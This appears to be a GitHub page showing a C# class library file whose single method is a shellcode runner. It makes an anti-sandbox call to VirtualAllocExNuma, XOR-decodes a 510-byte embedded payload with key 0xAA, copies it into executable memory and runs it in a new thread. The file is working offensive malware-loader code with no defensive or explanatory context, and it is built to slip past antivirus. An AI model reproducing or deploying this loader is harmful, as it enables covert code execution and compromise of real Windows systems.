-
Notifications
You must be signed in to change notification settings - Fork 44
/
Copy pathClass1.cs
58 lines (44 loc) · 4.93 KB
/
Class1.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace ClassLibrary1
{
public class Class1
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
public static void runner()
{
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
if (mem == null)
{
return;
}
byte[] buf = new byte[510] {
0x56, 0xe2, 0x29, 0x4e, 0x5a, 0x42, 0x66, 0xaa, 0xaa, 0xaa, 0xeb, 0xfb, 0xeb, 0xfa, 0xf8, 0xfb, 0xe2, 0x9b, 0x78, 0xfc, 0xcf, 0xe2, 0x21, 0xf8, 0xca, 0xe2, 0x21, 0xf8, 0xb2, 0xe2, 0x21, 0xf8, 0x8a, 0xe7, 0x9b, 0x63, 0xe2,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, 0x23, 0x58, 0xe2, 0x9b, 0x63, 0xeb, 0x10, 0xf2, 0x0e, 0xf9, 0x4f, 0x55, 0x7f, 0xe2, 0x23, 0x69, 0xe3, 0x23, 0x6d, 0xe7, 0x9b, 0x63, 0xe3, 0x23, 0x5a, 0xe2, 0x23, 0x70, 0xe2, 0x23, 0x53, 0xeb, 0x10, 0xa8, 0x73, 0x62, 0xf5, 0x55, 0x7f, 0x29, 0x52, 0xaa, 0xd7, 0x82, 0xf2, 0xeb, 0xfd, 0xf3, 0xc2, 0xaa, 0xea, 0xaa, 0xaa, 0xeb, 0xf2, 0xc0, 0xaa, 0xf0, 0xeb, 0x10, 0xa1, 0x85, 0xa5, 0x9a, 0x55, 0x7f, 0xfd, 0xf3, 0xeb, 0x10, 0xdf, 0xc4, 0xe7, 0xcb, 0x55, 0x7f, 0xe3, 0x55, 0x64, 0x43, 0x96, 0x55, 0x55, 0x55, 0xe2, 0xab, 0x69, 0xe2, 0x83, 0x6c, 0xe2, 0x2f, 0x5c, 0xdf, 0x1e, 0xeb, 0x55, 0x4d, 0xf2, 0xc0, 0xaa, 0xf3, 0xe3, 0x6d, 0x68, 0x5a, 0x1f, 0x08, 0xfc, 0x55, 0x7f};
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)(((uint)buf[i] ^ 0xAA) & 0xFF);
}
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}